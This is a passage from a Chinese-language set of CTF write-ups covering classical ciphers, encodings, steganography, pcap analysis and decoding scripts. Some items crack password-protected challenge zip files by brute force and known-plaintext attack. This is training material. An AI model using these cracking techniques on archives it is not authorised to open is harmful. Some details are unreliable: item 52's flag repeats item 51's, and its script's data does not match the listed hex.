分出来一个含有密码的3c356.zip压缩包,其中里面含有一个Txt 和一个png 。 2.使用工具ziperello 对zip文件进行破解,密码为:34878956 3.解压出压缩文件来 4.打印该图片,然后剪切,拼起来扫码获得flag(或者使用ps软件把她扣出来,在进行组合拼图)5.最终扫描获得flag:flag{e7df63cb-2786-4c2c-99f9-faeee4354359}二十二、Rot13解密题目:所以这是13点吗?synt{mur_VF_syn9_svtug1at}writeup: 1.根据题目内容,猜测是rot13解密,那么通过在线工具 https://rot13.com/ 2.离线工具crackt00ls工具进行解密 3.python脚本解密#coding:utf-8 import string def decoder(crypt_str,shift): crypt_list = list(crypt_str) plain_str = "" num = int(shift) for ch in crypt_list: ch = ord(ch) if ord('a') <= ch and ch <= ord('z'): ch = ch + num if ch > ord('z'): ch -= 26 if ord('A') <= ch and ch <= ord('Z'): ch = ch +num if ch > ord('Z'): ch -= 26 a=chr(ch) plain_str += a print(plain_str) crypt_str = raw_input("Crypto_text:") print "!------decode------!" shift=13 decoder(crypt_str,shift) 4.最终获得flag:flag{zhe_IS_fla9_fight1ng} 二十三、莫斯密码解密题目: ..-. .-.. .- --. . --... .---- -.-. .- ..... -.-. -.. -....- --... -.. -... ----. -....- ....- -... .- ...-- -....- ----. ...-- ---.. ...-- -....- .---- .- ..-. ---.. -.... --... ---.. ---.. .---- ..-. ----- --... writeup: 1.通过在线工具解密:http://ctf.ssleye.com/morse.htmlflage71ca5cd-7db9-4ba3-9383-1af867881f072.最终得到flag:flag{e71ca5cd-7db9-4ba3-9383-1af867881f07}二十四、栅栏密码题目: 山岚,f5-lf5aa9gc9{-8648cbfb4f979c-c2a851d6e5-c} writeup: 1.根据题目内容山岚和栅栏谐音,猜测是栅栏加密,通过crackt00ls工具进行解密,其中字符就包含了flag,那么确认猜测没错。 2.通过python脚本进行解密#!/usr/bin/env python # -*- coding: utf_8 -*- e = raw_input('pleas input sring\n') elen = len(e) field=[] for i in range(2,elen): if(elen%i==0): field.append(i) for f in field: b = elen / f result = {x:'' for x in range(b)} for i in range(elen): a = i % b; result.update({a:result[a] + e[i]}) d = '' for i in range(b): d = d + result[i] print 'while is\t'+str(f)+'\t'+'lan: '+d 3.最终得到flag:flag{6cb9c256-5fac-4b47-a1ec-59988ff9c8d5} 二十五、Unicode转ascii题目:\u0066\u006c\u0061\u0067\u007b\u0074\u0068\u0031\u0073\u005f\u0069\u0073\u005f\u0055\u006e\u0031\u0063\u0030\u0064\u0065\u005f\u0079\u006f\u0075\u005f\u004b\u006e\u006f\u0077\u003f\u007dwriteup:1.根据编码格式,发现\u就是unicode编码,通过crackt00ls工具转换成ascii2.最终获得flag:flag{th1s_is_Un1c0de_you_Know?} 二十六、XXencode编码题目:XX?字符:LNalVNrhIO4ZnLqZnLpVsAqtXA4FZTEc+writeup: 基础知识: XXEncode是一种二进制到文字的编码!它跟UUEncode以及Base64编码方法很类似。 它也是定义了用可打印字符表示二进制文字一种方法,不是一种新的编码集合。XXEncode将输入文本以每三个字节为单位进行编码, 如果最后剩下的资料少于三个字节,不够的部份用零补齐。三个字节共有24个Bit, 以6-bit为单位分为4个组,每个组以十进制来表示所出现的字节的数值。这个数值只会落在0到63之间。它64可打印字符固定字符范围及顺序! 包括大小写字母、数字以及+-字符。它较UUEncode编码优点在于它64字符是常见字符,没有任何特殊字符! Xxencode编码原理: XXencode将输入文本以每三个字节为单位进行编码。如果最后剩下的资料少于三个字节,不够的部份用零补齐。这三个字节共有24个Bit,以6bit为单位分为4个组,每个组以十进制来表示所出现的数值只会落在0到63之间。以所对应值的位置字符代替。它所选择的可打印字符是:+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz,一共64个字符。跟base64打印字符相比,就是uuencode多一个“-” 字符,少一个”/” 字符。 但是,它里面字符顺序与Base64完全不一样。与UUencode比较,这里面所选择字符,都是常见字符,没有特殊字符。这也决定它当年流行使用原因! 每60个编码输出(相当于45个输入字节)将输出为独立的一行,每行的开头会加上长度字符,除了最后一行之外,长度字符都应该是“h”这个字符(45,刚好是64字符中,第45位'h'字符),最后一行的长度字符为剩下的字节数目 在64字符中位置所代表字符。 问题:uuencode编码转换为xxencode编码怎么样操作?从编码原理来看,几乎一样。就是所用的64个字符不一样。一次,简单对uuencode转换后字符,逐位(处理'`'字符)减去32,然后得到一个值。这个值在xxencode 64字符中所对应位置字符替换即可。 XXencode编码转换过程: 原始字符Cat原始ASCII码(十进制)6797116ASCII码(二进制)010000110110000101110100新的十进制数值1654552编码后的XXencode字符Eq3O字符串:'Cat‘ 编码后是:Eq3O writeup: 1.根据题目名称xx,可将xxencode编码转ascii 这里通过在线:http://web.chacuo.net/charsetxxencode,进行转码 2.最终获得flag:flag{This_is_Xx3nc0de}二十七、base32解密题目:我喜欢贝丝,但是贝丝的表妹喜欢我 还给了我一封情诗 MZWGCZ33MVZGQZLJL5STQOJTGRPWK4SVJ56Q==== writeup: base家族有base64,base32,base16 1.Base16编码是包含了数字(0~9)和大写字母(A~F),Base32编码与Base64编码最大区别是前者没有小写字母.Base32编码可以用于文件系统的名称(不区分大小情况).而Base64编码后数据量相比原先不是增加很多,可以用于网络传输. 2.根据特征是base32 3.那么可以通过在线工具进行解密 http://www.cha128.com/index.php/archives/189/ 4.最终获得flag:flag{erhei_e8934_erUO}二十八、键盘布局加密题目: 方方格格,不断敲击 “wdvtdz qsxdr werdzxc esxcfr uygbn” flag格式为:flag{小写的字符串} writeup:1.根据提示我们可以猜到这个是采用了键盘拼写方式得出的键盘布局图形样式:(这块最好用画按照键盘画好) wdvtdz x qsxdr v werdzxc z esxcfr o uygbn c 2.最终组合起来为:xvzoc flag为:flag{xvzoc} 二十九、十进制与十六进制转换题目: 低频ID卡数据格式转换小常识 将下列16进制串中倒数第5,6位转换为3位十进制数, 将最后4位转换为5位十进制卡号,中间用“,”分开。 0000944664 writeup: 1.根据提示,先将十六进制94转换为十进制148,然后再将十六进制4664转换成十进制18020 它们之间以逗号分隔,最终组合得到,前面000需要去掉。 2.最终获得flag: flag{148,18020} 三十、二进制转ascii题目: 让我们回到最开始的地方 011001100110110001100001011001110111101101100011011001010011001101100101001101010011000000110010011000110010110100110100001110000110001100111001001011010011010001100100001101010011000000101101001110010011100100111001001100000010110100110101011000100011100000110001011001000110001000110110011001100110001101100010011001100011000001111101 wriiteup:1.通过在线工具进行解密 http://www.txttool.com/wenben_binarystr.asp 2.通过pyhon脚本解密<script> var num='011001100110110001100001011001110111101101100011011001010011001101100101001101010011000000110010011000110010110100110100001110000110001100111001001011010011010001100100001101010011000000101101001110010011100100111001001100000010110100110101011000100011100000110001011001000110001000110110011001100110001101100010011001100011000001111101'; function binToAscii(num){ var str1=''; if(typeof num !='String'){ var str=num.toString(); } var Hlong=Math.ceil(str.length/8); for(var i=0;i<Hlong;i++){ str1+=String.fromCharCode(parseInt(str.substring(i*8,(i+1)*8),2)); } return str1; } alert(binToAscii(num)) </script> 三十一、base16解密 题目: 有一天,表姐的好朋友贝丝远房的表亲,一个16岁的少年 给表姐递了一封情书,表姐看不懂,你能帮忙翻译下吗? 666C61677B65633862326565302D336165392D346332312D613031322D3038616135666137626536377D writeup: 1.根据题目含义16岁少年,并且是含有贝丝,猜测为base16解密 2.通过在线工具进行解密 http://www.atoolbox.net/Tool.php?Id=930 3.最终获得flag:flag{ec8b2ee0-3ae9-4c21-a012-08aa5fa7be67}三十二、邮件头中的Quoted-printable编码题目内容: flag{ichunqiu_=E6=8A=80=E6=9C=AF=E6=9C=89=E6=B8=A9=E5=BA=A6} 基础知识: Quoted-printable 可译为“可打印字符引用编码”、“使用可打印字符的编码”,我们收邮件,查看信件原始信息,经常会看到这种类型的编码! 任何一个8位的字节值可编码为3个字符:一个等号”=”后跟随两个十六进制数字(0–9或A–F)表示该字节的数值 writeup: 1.通过在线解码http://www.mxcz.net/tools/QuotedPrintable.aspx 2.最终获得flag:flag{ichunqiu_技术有温度}三十三、变形的培根密码题目内容: 麻辣烫的标配。flag{abbab_babbb_baaaa_aaabb} writeup: 1.根据题目内容包括abab循环,从特征上看是培根密码,这里需要将下划线去掉,最终得到:abbabbabbbbaaaaaaabb 2.通过在线解密工具,即可获得flag 3.通过不断测试,发现是大写,并且按照原来的下划线,则是flag:flag{N_X_Q_D}三十四、jpg图片影写一题目:给出一张隐藏在图片中的flagwriteup:1.通过notepad,直接搜索关键字:flag2.最终获得flag:flag{stego_is_s0_bor1ing}三十五、猪圈密码题目:给出一张图,2个长方形里面有个点基础知识:猪圈密码(亦称朱高密码、共济会暗号、共济会密码或共济会员密码),是一种以格子为基础的简单替代式密码。即使使用符号,也不会影响密码分析,亦可用在其它替代式的方法。下面为猪圈密码对应表:writeup:根据猪圈对应表,即可获得flag:flag{NSN} 三十六、键盘坐标密码题目内容: 哒哒哒哒,你知道什么是键盘坐标密码吗? 11 21 31 18 27 33 34 flag格式:flag{***** 基础知识: 我们注意到大键盘区所有的字母上面都有其对应的数字,这个位置几乎在所有的键盘都是相同的。所以我们可以利用这一点应用单表替换的方法进行加密[注2]: 1 2 3 4 5 6 7 8 9 0 Q W E R T Y U I O P A S D F G H J K L Z X C V B N M 我们根据上表可以得出,Q是1下面的第一个,A是1下面的第二个……以此类推,每一个字母都会有其对应的数字: A 12 B 53 C 33 第一个数字代表横向(X坐标)的位置,第二个数字代表纵向(Y坐标)的位置 writeup: 根据上面对应表,可获得flag: flag{QAZIJCV} 三十七、变形的莫斯密码题目内容: 贝克街旁的圆形广场 ·-· ·-· ·-· ·-· ·-· ·-· · writeup: 1.题目给的这种字符一般解不出 ·-· ·-· ·-· ·-· ·-· ·-· , 一般模式电码是点在下面, 横在上面.改成: .-. .-. .-. .-. .-. .-. . 2.通过crackt00ls工具解密 2.通过在线解密3.最终获得flag:这里没说大小写,试出来是大写flag{RRRRRRE} 三十八、brainfuck加密题目内容: +++++ +++++ [->++ +++++ +++<] >++.+ +++++ .<+++ [->-- -<]>- -.+++ +++.< ++++[ ->+++ +<]>+ +++.< +++++ +++[- >---- ----< ]>--- --.+. ----- -.<++ +++++ [->++ +++++ <]>++ ++.-- --.<+ +++++ [->-- ----< ]>--- ----- .---- --.++ +++++ +.<++ +[->- --<]> --.++ +++.+ +++.- .<+++ +++[- >++++ ++<]> +++++ +++.< +++++ ++[-> ----- --<]> ---.+ +++++ +.+++ ++.-- ----- .<+++ ++++[ ->+++ ++++< ]>+++ .<+++ ++++[ ->--- ----< ]>--- ----- .<+++ ++++[ ->+++ ++++< ]>+++ .<+++ ++++[ ->--- ----< ]>.++ ++.-- -.--- -.<++ +++++ [->++ +++++ <]>++ ++.<+ +++++ [->-- ----< ]>--- ----- ---.- --.<+ +++++ +[->+ +++++ +<]>+ ..<++ ++++[ ->--- ---<] >---- --.-- -.+.+ ++.-- ---.+ ++++. ----- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ +.< 基础知识:例: Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. 为Ook!编码后如下图: +++++ +++++ [->++ +++++ +++<] >++.+ +++++ .<+++ [->-- -<]>- -.+++ +++.< ++++[ ->+++ +<]>+ +++.< +++[- >---< ]>--- .---- .<+++ ++++[ ->--- ----< ]>--- ----- ----- .<+++ ++++[ ->+++ ++++< ]>+++ ++.<+ +++++ +[->- ----- -<]>. <++++ ++++[ ->+++ +++++ <]>++ .<+++ [->-- -<]>- ----. <++++ +++[- >---- ---<] >---- ----. +++++ +..++ +++.+ .<+++ [->-- -<]>- --.<+ +++++ +[->+ +++++ +<]>+ ++.++ +.+++ +++++ +.--- -.+++ ++.<+ ++[-> +++<] >++++ ++.< writeup:1.通过在线解密即可获得flag:http://splitbrain.org/services/ook 2.最终flag:flag{671fb608-265a-492f-a041-b30bb8569490}三十九、压缩包多文件隐写之flag题目内容: 压缩包中包含多个文件,且每个文件有一个字母 writeup: 1.通过notepad发现每个文件中含有一个字母 2.通过cmd命令和管道符合即可批量将文件中的内容输出到一个文件中 进入解压后的目录,然后输入cmd命令: type dabiaojie* >>flag.txt 3.通过notepad查看flag.txt,进行重新组合,去掉后面没用的字母(中括号后面的字母)4.最终获得flag:flag{0a47061d-0619-4932-abcd-5426f4ea34aa}四十、zip明文加密题目内容: 讲真的,才华已经枯竭 大家好好答题 也许这道题一点都不坑 也许。。。。。 wirteup: 1,先用zip伪加密破解,但是打开错误,也通过winhex查看zip文件政策 2.然后剩下zip破解了,这里有个提示是5句话,考虑5句话,可能就是密码字符长度为5位数,通过zip password tool对其破解,并且也说很简单不吭,说明是5位数字 3.最终破解为密码:12345,通过密码解压出文件并查看文件misc3.txt,最终获得flag:flag{319b7f63-e17d-4ac5-8428-c2476c7ecce3} 四十一、波利比奥斯棋盘加密题目内容:需要帮助我将这个波斯传来的“波利比奥斯棋盘”上的秘密解决掉 华夜拿到该棋盘,只见棋盘盒上分布着一串十分奇异的数字: “3534315412244543_434145114215_132435231542” flag格式:flag{****} 全为小写字符串 基础知识:波利比奥斯矩阵为排列顺序的一种数字与字母的密码表,当然每个国家的密码排布并不一样,这里只展示最常用的一种排布方式。如图所示,它是一个6行6列的矩阵,第一行为数字1~5,第一列也为数字1~5,表里是26个字母,除了I与J以外,每个字母都各占据一个格子,也就是每个字母都有它们的数字表示,类似于坐标。它们的坐标读取并不是我们习惯的行列读取,而是与之列行读取。比如字母“B”,用数字表示它就是“12”,而不是“21”。比如要表达单词“HELP”,则写成密码就是23 15 31 35。判断是否是用棋盘密码破解的方式页很简单,只要出现数字是成双出现的数组串,而且有出现最大数字大于26的,那是棋盘密码的可能性就很大。 writeup:1.题目重要的部分是“波利比奥斯棋盘”和一串数字“3534315412244543_434145114215_132435231542” 2.百度波利比奥斯棋盘,简单的来说就是把字母排列好,用坐标的形式表现出来。字母是密文,明文便是字母的坐标。它是一个6行6列的矩阵,第一行为数字1~5,第一列也为数字1~5,表里是26个字母,除了I与J以外,每个字母都各占据一个格子,也就是每个字母都有它们的数字表示,类似于坐标。 3.把数字每两位分成一组,然后按照行列的方式找出字母,比如35就是第3行的第5列为P,以此类推 35 34 31 54 12 24 45 43_43 41 45 11 42 15_13 24 35 23 15 42 P O L Y B I/J U S S Q U A R E C I/J P H E R 4.题目提示小写字母,所以构造flag{polybius_square_cipher},注:这里的24有两个对应的字母,尝试i是正确的,而j是错误的,且和原来的格式要保持一致。 四十二、base64隐写之藏头诗题目内容: 他将这首残诗刻在了通往第四层虚数空间的通关法诀上 只有填满句诗词,才能走出这层虚数空间 5LiD5pyI5Zyo6YeOICA= 5YWr5pyI5Zyo5a6HIA== 5Lmd5pyI5Zyo5oi3 writeup: 1.通过base64在线解密工具获得三个base64解密(本地解密工具会出现乱码,可能式编码问题) https://base64.us/ 2.解密出: 七月在野 八月在宇 九月在户 3.通过百度搜索,发现它的下一句是:十月蟋蟀入我床下 4.最终flag: flag{十月蟋蟀入我床下} 四十三、特殊二进制转ascii题目:01001001 01100011 01100101 01000011 01010100 01000110 01111011 01100001 01101100 00110001 0101111101101101 01111001 01011111 01100010 01100001 01110011 01100101 01110011 01011111 01100001 0111001001100101 01011111 01111001 01101111 01110101 01110010 01110011 01011111 01100001 01101110 0110010001011111 01100001 01101100 01101100 01011111 01111001 00110000 01110101 01110010 01011111 0110001001100001 01110011 01100101 01110011 01011111 01100001 01110010 01100101 01011111 01101101 0110100101101110 01100101 01111101writeup:1.下载flag.txt是二进制的文本 2.可以看到二进制是八位数,通过在线工具进行解密http://www.5ixuexiwang.com/str/from-binary.php 3.二进制转十六进制,在对照ASCII码转为相应的字符 4.最后答案将其下划线去掉,重新组合成flag: IceCTF{al1_my_bases_are_yours_and_all_y0ur_bases_are_mine} 四十四、PNG图片隐写一writeup:1.用StegSolve提取三个颜色的rgb值,之后会得到一张图片。2.以用SetgSolve提取出图,点击Analyse -> Data Extract, 在弹出的窗口中把Rad, Green, Blue都勾上, 然后点击Preview 3.会发现头部是PNG, 表示这是一张PNG图片, 然后点击Save Bin, 把图片提取出来打开, 就出现了flag 4.最终获得flag:IceCTF{puT_Th4t_1n_yoUr_cOlOrin9_Book_4nD_5moKe_1T} //cOlOrin9 中的L是小写的 四十五、GIF图片隐写 writeup:1.下载附件,是一个Gif文件,但是提示格式错误打不开。使用notepad++打开文件,发现文件头开头是9a,然而Gif文件格式开头应该是GIF89a 发现文件头为”3961”,并非正常的”474946383961”(对应ascii码为GIF89A)或”474946383761”(对应ascii码为GIF87A),故尝试在头部添加”47494638” 2.使用winhex对图片进行编辑,在头部添加数据:47494638,粘贴--剪切板数据--粘贴--ascii hex。最终可以看到头部为:GIF89a开头2.保存文gif文件,使用stegsolve工具中analyse--frame browoser3.即可获得flagflag{2017_love_U} 四十六、jpg图片隐写二writeup:1.下载附件,并解压,得到一张很大的图片,然后查看图片属性或者通过notepad搜索关键字flag即可获得2.最终flag为: flag{I_I-0_0-*_*}四十七、流量包隐写writeup:1.通过下载流量包,从文件名后缀pcapng来看是一个抓包文件,但是使用wireshark无法识别打开2.找一个正常的pcapng文件对比文件头,对kill.pacpng的文件头进行对应修改,修改后仍然无法打开 3.使用strings.exe对kill.pcapng中的可打印字符进行提取,保存到strings.txt文件中,命令 strings kill.pcapng >kill.txt 4.打开strings.txt,搜索flag,即可获得flag: 5.实际上直接notepad++打开搜索kill或者flag,更快找到答案,但因为文件有2M多,肯能会有点卡。 6.最终获得flag:flag{roses_r_blue_violets_r_r3d_mayb3_harambae_is_not_kill} 四十八、破损的流量包隐写writeup:1.文件是cap包,用wireshark打开这个cap包,出现异常现象: 2.将cap包修复为pcap包,通过地址:http://f00l.de/hacking/pcapfix.php 3.进行在线修复,修复完毕后用wireshark打开,查找分组字节流-字符串-flag: 4.或者通过notepad,搜索flag关键字,发现提示where is the flag 5根据上面规律可言看到输入顺序是从右到左边,都是每次发送2个数据包,值需要取其中一个就行了6.最终得到flag:flag{aha!_you_found_it!}四十九、Bubble Babble Binary Data Encoding 编码题目名称:Bubble 基础知识:Bubble Babble Binary Data Encoding是由Antti Huima创建的一种编码方法,可以把二进制信息表示为由交替的元音和辅音组成的伪词(pseudo-words),主要用于密码指纹,其编码也具有内置的纠错和冗余。编码格式每5个字符中间以-来分隔,作者的原意就是想把难以记得的二进制数据表示为难忘的伪词。writeup:1.下载附件,查看文件信息是一组字符串:xinik-samak-luvag-hutaf-fysil-notok-mepek-vanyh-zipef-hilok-detok-damif-cusol-fezyx,并且是每个字节以-分隔,符合buddle加密2.通过在线工具可以进行解密http://ctf.ssleye.com/bubble.html 3.通过python脚本解码:from bubblepy import BubbleBabble str='xinik-samak-luvag-hutaf-fysil-notok-mepek-vanyh-zipef-hilok-detok-damif-cusol-fezyx' bb = BubbleBabble() print (bb.decode(str)) 4.最终获得flag:flag{Ev3ry7hing_i5_bubb13s}五十、lzip文件隐写writeup:1.下载文件,打开看到如下,通过winhex软件打开的界面 2.利用linux下面的命令xxd,可以将类似文本转换为文件 cat thor.txt |xxd -r >thorfile //查看thor.txt十六进输出,并通过xxd -r 转换成二进制文件 3.使用winhex打开文件thorfile,发现文件头为LZIP 5.在linux下使用lzip命令对文件进行解压 lzip -d thorfile //对lzip文件进行解压,得到thorfile.out文件 6.使用winhex打开文件thorfile.out,文件头为有JFIF,文件头格式为:文件头:FFD8FFE0(JPEG (jpg)) 7.将文件名后缀修改为jpeg,打开文件看到图片,看到答案 8.最终得到flag IceCTF{h3XduMp1N9_l1K3_A_r341_B14Ckh47} 五十一、mid音乐文件隐写writeup:1.附件下载,然后使用winhex查看文件信息,发现文件头是mid格式 2.修改后缀名文mid格式可以播放3.通过winhex观察,包含了关键字iceCTF(都是2个字母含末尾字母d,取前面字母)4.发现d前面的字母可以组合成flagIceCTF{HAck1n9_mU5Ic_W17h_mID15_L3t5_H4vE_a_r4v3}五十二、十六进制转二维码题目内容: 0x00000000 0xff71fefe 0x83480082 0xbb4140ba 0xbb6848ba 0xbb4a80ba 0x83213082 0xff5556fe 0xff5556fe 0x00582e00 0x576fb9be 0x707ef09e 0xe74b41d6 0xa82c0f16 0x27a15690 0x8c643628 0xbfcbf976 0x4cd959aa 0x2f43d73a 0x5462300a 0x57290106 0xb02ace5a 0xef53f7fc 0xef53f7fc 0x00402e36 0xff01b6a8 0x83657e3a 0xbb3b27fa 0xbb5eaeac 0xbb1017a0 0x8362672c 0xff02a650 0x00000000 writeup: 1.like to approach problems with a fresh perspective and try to visualize the problem at hand,意思是将其内容转换成图像化 2.根据上面内容可知道是十六进制,我们可以将16进制数转化为图像,这里先尝试将16进制转换为二进制 000000000000000000000000000000000 011111111011100011111111011111110 010000011010010000000000010000010 010111011010000010100000010111010 010111011011010000100100010111010 010111011010010101000000010111010 010000011001000010011000010000010 011111111010101010101011011111110 000000000010110000010111000000000 001010111011011111011100110111110 001110000011111101111000010011110 011100111010010110100000111010110 010101000001011000000111100010110 000100111101000010101011010010000 010001100011001000011011000101000 010111111110010111111100101110110 001001100110110010101100110101010 000101111010000111101011100111010 001010100011000100011000000001010 001010111001010010000000100000110 010110000001010101100111001011010 011101111010100111111011111111100 000000000010000000010111000110110 011111111000000011011011010101000 010000011011001010111111000111010 010111011001110110010011111111010 010111011010111101010111010101100 010111011000100000001011110100000 010000011011000100110011100101100 011111111000000101010011001010000 000000000000000000000000000000000 3.这里看起来有点像一个二维码,可将0转化为白色,1转化为黑色,通过以下python脚本进行转换成二维码 #!/usr/bin/env python # -*- coding: utf-8 -*- from PIL import Image import numpy as np def hex2bin(hexmat): binmattemp = [bin(m)[2:] for m in hexmat] # 全转成二进制 rowlen = max([len(m) for m in binmattemp]) # 取最宽的值 binmat = [[0] + [int(b) for b in row.zfill(rowlen)] for row in binmattemp] # 用0补齐 print rowlen + 1, 'x', len(binmat) for i in xrange(len(binmat)): print ''.join([str(b) for b in binmat[i]]) return binmat, rowlen + 1, len(binmat) def rm_col(binmat, col): # 移除指定的列 return [row[:col] + row[col + 1:] for row in binmat] def make_bw_img(binmat, w, h, outfilename, blackbit=0): bwmat = [[0 if b == blackbit else 255 for b in row] for row in binmat] # 用255表示白,0表示黑 imagesize = (w, h) img = Image.fromarray(np.uint8(np.array(bwmat))) img.save(outfilename) if __name__ == '__main__': hexmat = [0x00000000, 0xff71fefe, 0x83480082, 0xbb4140ba, 0xbb6848ba, 0xbb4a80ba, 0x83213082, 0xff5556fe, 0x00582e00, 0x576fb9be, 0x707ef09e, 0xe74b41d6, 0xa82c0f16, 0x27a15690, 0x8c643628, 0xbfcbf976, 0x4cd959aa, 0x2f43d73a, 0x5462300a, 0x57290106, 0xb02ace5a, 0xef53f7fc, 0x00402e36, 0xff01b6a8, 0x83657e3a, 0xbb3b27fa, 0xbb5eaeac, 0xbb1017a0, 0x8362672c, 0xff02a650, 0x00000000] binmat, w, h = hex2bin(hexmat) binmat = rm_col(binmat, 22) # 发现第七行和第22行多余,故删除 binmat = rm_col(binmat, 7) make_bw_img(binmat, w, h, 'matrix_rmcol.png', blackbit=1)4.最终会生成一张二维码图片以及显示转换成的二进制5.通过在线扫描二维码识别https://jiema.wwei.cn/ 6.最终扫描获得flag: IceCTF{HAck1n9_mU5Ic_W17h_mID15_L3t5_H4vE_a_r4v3} 五十三、流量文件隐写之数据包序号sha256解密writeup: 1.通过附件下载文件,获得capture.log文件,然后通过linux下的命令file查看文件类型,发现是pcap文件 2.将后缀名改为capture.pcap,通过wireshark打开进行分析,我们通过扫描行为知道ping扫描基本是icmp协议,这里搜索icmp协议 3.这里查找ping扫描次数分析,每次都是一对请求和响应包,包括request(请求)和reply(应答)4.根据扫描发现第四次是192.168.0.199--->192.168.0.99(icmp)5.前三次对99目标机的攻击都是由9发起的,到第四次变成了199,序号分别为: 192.168.0.9发起第1次攻击数据包序号:1 192.168.0.9第2次攻击数据包序号:148007 192.168.0.9第3次攻击数据包序号:150753 192.168.0.199第4次攻击数据包序号:155989 6.通过在线sha256生成 https://1024tools.com/hash 7.最终生成flag:PCTF{0be2407512cc2a40bfb570464757fd56cd0a1d33f0bf3824dfed4f0119133c12}五十四、apk文件隐写writeup:1.下载附件apk,然后通过jd-gui.exe对其进行反编译出源码2.通过一个个文件查找关键字ctf,这里在\misc100\res\raw\here文件中找到,通过notepad搜索出ctf关键字3.最终获得flag:ctf{adkankjasnfmasncmansddfmnasm} 五十五、zip明文攻击与盲水印writeup: 1.解压出来是这样的 2.warmup里是这样的 : 3.用winrar软件对图片raopen_forum.png压缩成open_forum.zip文件 4.比较两个文件的是否为同一文件,这里比较CRC32的值 5.使用工具Advanced Archive Password Recover进行明文攻击 